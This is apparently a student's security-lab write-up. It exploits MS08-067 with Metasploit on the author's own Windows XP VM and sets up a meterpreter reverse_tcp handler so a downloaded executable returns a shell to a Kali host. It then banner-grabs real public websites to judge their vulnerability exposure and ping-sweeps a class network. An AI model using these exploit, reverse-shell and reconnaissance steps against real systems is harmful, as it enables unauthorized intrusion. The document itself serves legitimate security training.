Using Metasploit

In this section, I practiced working with the Metasploit framework included with Kali. I did this by using it to exploit known vulnerabilities in an unpatched Windows XP.

1.) To begin, I started the PostgreSQL database using the command `/etc/init.d/postgresql start`. I did this as Metasploit is dependent on the PostgreSQL service to run properly. Following the successful start of the PostgreSQL service, I ran the commands `/etc/init.d/metasploit start` and `msfconsole` to start Metasploit.

```
root@kali:~ # /etc/init.d/postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.
root@kali:~ # /etc/init.d/metasploit start
Configuring Metasploit...
Creating metasploit database user 'msf3'...
Creating metasploit database 'msf3'...
innodb: warning: current start runlevel(s) (empty) of script 'metasploit' overrides LSB defaults (2 3 4 5).
innodb: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script 'metasploit' overrides LSB defaults (0 1 6).
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.
Validate lots of vulnerabilities to demonstrate exposure with Metasploit Pro -- Learn more on http://rapid7.com/metasploit

[ metasploit v4.11.0-2015011401 [core:4.11.0.pre.2015011401 api:1.0.0]]
+ -- -- --=[ 1387 exploits - 783 auxiliary - 223 post ]
+ -- -- --=[ 356 payloads - 37 encoders - 8 nops ]
+ -- -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
```

2.) Once the Metasploit framework started, I searched for a known Windows XP vulnerability in the database [Identifier: MS08_067_netapi].

```
msf > search ms08_067_netapi
```

3.) With the exact name of the vulnerability found, I accessed the information page for the vulnerability to better familiarize myself with it.

```
msf > info exploit/windows/smb/ms08_067_netapi
```

```
```
From the information gathered, the vulnerability would indeed be present in an unpatched Windows XP machine [Pre 2008-10-28] and can allow elevated remote code execution when exploited.

4.) With the desired vulnerability in mind, I loaded it as a module in Metasploit and set it up for use on a host running Windows XP SP3 at 10.110.65.42

```
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
```

**Module options (exploit/windows/smb/ms08_067_netapi):**

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>RHOST</td>
<td></td>
<td>yes</td>
<td>The target address</td>
</tr>
<tr>
<td>RPORT</td>
<td>445</td>
<td>yes</td>
<td>Set the SMB service port</td>
</tr>
<tr>
<td>SMBPIPE</td>
<td>BROWSER</td>
<td>yes</td>
<td>The pipe name to use (BROWSER, SRVSCO)</td>
</tr>
</tbody>
</table>

**Exploit target:**

```

Available targets:

<table>
<thead>
<tr>
<th>Id</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Automatic Targeting</td>
</tr>
<tr>
<td>1</td>
<td>Windows 2000 Universal</td>
</tr>
<tr>
<td>2</td>
<td>Windows XP SP0/SP1 Universal</td>
</tr>
<tr>
<td>3</td>
<td>Windows 2003 SP0 Universal</td>
</tr>
<tr>
<td>4</td>
<td>Windows XP SP2 English (AlwaysOn NX)</td>
</tr>
<tr>
<td>5</td>
<td>Windows XP SP2 English (NX)</td>
</tr>
<tr>
<td>6</td>
<td>Windows XP SP3 English (AlwaysOn NX)</td>
</tr>
<tr>
<td>7</td>
<td>Windows XP SP3 English (NX)</td>
</tr>
</tbody>
</table>
```

Description:

This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development.
As shown by the screenshot, the exploit worked even without either a specific payload or target operating system selected. It appeared to grant access to a limited shell in a response to running without a payload selected and also appeared to fingerprint the OS to determine its version in place of being supplied the information.

5.) With the exploit properly working without a payload selected, I attempted to run the same exploit with the shell_reverse_tcp payload selected to compare the result.

As shown by the screenshot, using the payload shell_reverse_tcp gave access to an administrator elevated command prompt.

6.) Following this, I reran the same exploit using the shell_bind_tcp payload in place of shell_reverse_tcp
As when shell\_reverse\_tcp was used, the exploit was successful at returning an elevated command prompt from the Windows XP target.

7.) Following the success of the exploit, I attempted to find the active connected between the systems from the Windows XP machine.

8.) With the executable created and available to the Windows XP machine, I setup Kali to listen for the payload the binary was set to return.
9.) With Kali setup to receive the payload, I used internet explorer on the Windows XP target to grab the malicious executable from the Kali/apache website and placed it on the georgia users desktop. Once transferred, I ran the binary to send the command prompt over to the listening Kali machine.

```
msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) >
msf exploit(handler) > set LHOST 10.110.65.40
LHOST => 10.110.65.40
msf exploit(handler) > show options

Module options (exploit/multi/handler):

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>EXITFUNC</td>
<td>process</td>
<td>yes</td>
<td>Exit technique (accepted: seh, thread, process, none)</td>
</tr>
<tr>
<td>LHOST</td>
<td>10.110.65.40</td>
<td>yes</td>
<td>The listen address</td>
</tr>
<tr>
<td>LPORT</td>
<td>4444</td>
<td>yes</td>
<td>The listen port</td>
</tr>
</tbody>
</table>

Exploit target:

<table>
<thead>
<tr>
<th>Id</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Wildcard Target</td>
</tr>
</tbody>
</table>

msf exploit(handler) > exploit

[*] Started reverse handler on 10.110.65.40:4444
[*] Starting the payload handler...
```
When ran on the Windows XP machine, the executable successfully spawned a limited command prompt for the Kali machine.

### Using Telnet

In this section, I practiced using Telnet to gather information on the web servers hosting a few popular websites. The websites I targeted were sunyit.edu, web.cs.sunyit.edu, www.google.com, and www.albinoblacksheep.com

1.) To begin, I opened a connection with sunyit.edu through Telnet at port 80.

![Telnet connection to sunyit.edu](image1)

2.) Following this, I used the string `/textbfHEAD / HTTP/1.0` to request the websites banner.

```
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Tue, 10 Feb 2015 03:56:21 GMT
Server: nginx
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.6.3
Expires: Tue, 10 Feb 2015 04:06:21 GMT
Cache-Control: max-age=600
Pragma: no-cache
X-Pingback: https://sunypoly.edu/wp/xmlrpc.php
Link: <https://sunypoly.edu/>; rel=shortlink
X-Custom-loc: /zroot/
Set-Cookie: PHPSESSID=6517dreb9d3ahf590s87551a5; path=/
Vary: Accept-Encoding
Connection: close
```

As the screenshots show, the banner grab was successful. With the banner grab, I was able to capture the server type `nginx`, the version of PHP the server is running `[5.6.3]`, the max keep alive time for a cached webpage `[600 minutes]`, and the location of the websites X-Pingback [https://sunypoly.edu/wp/xmlrpc.php]. Interestingly enough, the pingback referenced https://sunypoly.edu instead of http://sunyit.edu.
3.) From the information I gathered from sunyit.edu, it appears that their version of PHP [5.6.3] has five known vulnerabilities [CVE-2015-0232, CVE-2015-0231, CVE-2014-9427, CVE-2014-9425, and CVE-2014-8142 according to http://www.cvedetails.com/vulnerability-list/vendor_id-74/product_id-128/version_id-178179/PHP-PHP-5.6.3.html]. With these vulnerabilities [CVE-2015-0232 especially] it is possible for the server to be made to allow unauthorized remote code to be executed. This, along with the webpage being the front page of a popular public domain, makes the server a high risk target.

4.) With sunyit.edu analyzed, I followed the same procedure for web.cs.sunyit.edu

```
ciullac@fang:> telnet web.cs.sunyit.edu 80
Trying 10.156.192.32...
Connected to spike.cs.sunyit.edu.
Escape character is '^]'.
HEAD / HTTP/1.0
```

HTTP/1.1 302 Found
Date: Tue, 10 Feb 2015 04:16:15 GMT
Server: Apache/2.2.29 (Unix) PHP/5.6.5 mod_ssl/2.2.29 OpenSSL/1.0.1k
Location: http://web.cs.sunyit.edu/
Connection: close
Content-Type: text/html; charset=iso-8859-1

Connection closed by foreign host.

With the banner grab, I was able to capture the server type [Apache 2.2.29], the version of PHP the server is running [5.6.5], the version of mod_ssl that the server is using [2.2.29], and the version of OpenSSL the server is using [1.0.1k].

5.) Unlike with sunyit.edu, the services at web.cs.sunyit.edu appear to have no known vulnerabilities. The webserver is much more secure and as such is lower risk.

6.) With both sunyit.edu and web.cs.sunyit.edu analyzed, I followed the same procedure for www.google.com.

```
ciullac@fang:> telnet www.google.com 80
Trying 216.58.216.100...
Connected to www.google.com.
Escape character is '^]'.
HEAD / HTTP/1.0
```

HTTP/1.0 200 OK
Date: Tue, 10 Feb 2015 04:48:43 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1

Unfortunately, the banner grab alone didn't give me enough information to determine if the webserver hosting the page had any vulnerabilities. The only notable information captured
was that the webserver was reporting running GWS [Google Web Server?], which is not a
documented operating system or webpage hosting service.

7.) With all other targeted websites tested, I began my analysis of www.albinoblacksheep.com.

```
cliulac@fang:~> telnet www.albinoblacksheep.com 80
Trying 70.86.118.157...
Escape character is '^[]'.
HEAD / HTTP/1.0
HTTP/1.1 301 Moved Permanently
Date: Tue, 10 Feb 2015 04:54:39 GMT
Server: Apache
Location: http://www.albinoblacksheep.com/
Cache-Control: max-age=0
Expires: Tue, 10 Feb 2015 04:54:39 GMT
Connection: close
Content-Type: text/html; charset=iso-8859-1

Connection closed by foreign host.
```

Like with www.google.com, the banner grab didn’t prove very useful. The only notable infor-
mation I received was that the webserver was apache based and reporting the main webpage
moved when accessed through telnet. Without more specific information, the risk level for the
server cannot be accurately assessed.

**Using NMap**

In this section, I practiced using NMap. I used the connected machines on the class test network,
testing my own in detail.

**Personal virtual machines**

To begin, I ran a basic NMap scan on my own systems in an attempt to view their viability
[UP/DOWN], detect the installed OS, and all open ports. 1.) The first of my machines that I
scanned with NMap was the Windows XP SP2 system located at 10.110.65.42
As shown by the screenshot, NMap was able to largely and correctly narrow down which operating system was installed on the virtual machine to just three options. The screenshot also shows that the virtual machine was powered on, that its MAC address was 0E:11:71:8F:27:6B, and that it had eight open ports. This gives me a physical location to attack/monitor and an idea on what services might be running on the machine. 2.) The second of my systems that I scanned was the Windows 7 system located at 10.110.65.43

As shown by the screenshot, NMap was able to largely and correctly narrow down which operating system was installed on the virtual machine to just four options. The screenshot also shows that the virtual machine was powered on, that its MAC address was A2:2B:47:27:75:B8, and that it had twelve open ports. This gives me a physical location to attack/monitor and an idea on what services might be running on the machine. 3.) The third of my machines I scanned was the Metasploitable system located at 10.110.65.41.
As shown by the screenshot, NMap was able to detect the general operating system type and limit the possibilities for which version of Linux kernel the machine is running. The screenshot also shows that the virtual machine was powered on, that its MAC address was F2:CC:7C:DD:57:D8, and that it had twenty-three open ports. This gives me a physical location to attack/monitor and an idea on what services might be running on the machine.
All virtual machines

Following the testing on my own machines, I ran a blanket scan of the network to gather some info on the test network.

```
rootkali:~ $ nmap -sn 10.110.65.*
Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-10 10:53 EST
Nmap scan report for 10.110.65.36
Host is up (0.0033s latency).
MAC Address: 16:F0:51:A8:91:45 (Unknown)
Nmap scan report for 10.110.65.41
Host is up (0.0078s latency).
MAC Address: F2:CC:7C:DD:57:D8 (Unknown)
Nmap scan report for 10.110.65.42
Host is up (0.0020s latency).
MAC Address: 0E:11:71:BF:27:6B (Unknown)
Nmap scan report for 10.110.65.43
Host is up (0.0017s latency).
MAC Address: A2:28:47:27:75:8B (Unknown)
Nmap scan report for 10.110.65.48
Host is up (0.0027s latency).
MAC Address: 4E:FD:20:0C:0E:00 (Unknown)
Nmap scan report for 10.110.65.49
Host is up (0.0039s latency).
MAC Address: 7E:53:9A:2A:AE:9B (Unknown)
Nmap scan report for 10.110.65.76
Host is up (0.011s latency).
MAC Address: 4E:C9:1C:2E:1A:CE (Unknown)
Nmap scan report for 10.110.65.78
Host is up (0.012s latency).
MAC Address: 42:B4:A4:BB:D0:5B (Unknown)
Nmap scan report for 10.110.65.92
Host is up (0.0074s latency).
MAC Address: EA:A4:56:5A:AA:ED (Unknown)
Nmap scan report for 10.110.65.93
Host is up (0.0089s latency).
MAC Address: 06:AF:49:9F:08:E7 (Unknown)
Nmap scan report for 10.110.65.94
Host is up (0.019s latency).
MAC Address: 6A:E4:C2:C0:B8:F0 (Unknown)
Nmap scan report for 10.110.65.95
Host is up (0.012s latency).
MAC Address: CE:19:AF:C3:DG:66 (Unknown)
Stats: 0:00:53 elapsed; 255 hosts completed (21 up), 255 undergoing Host Discovery
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Nmap scan report for 10.110.65.40
Host is up.
Nmap done: 256 IP addresses (22 hosts up) scanned in 53.57 seconds
```

I used the flags sn to set nmap to run only a ping scan on the network, so that the scan would complete in a reasonable amount of time. It was able to detect twenty-two powered on machines, as well as all their MAC addresses. This gives me a general idea on the size of the network in question and provides me with the physical location of machines to attack/monitor.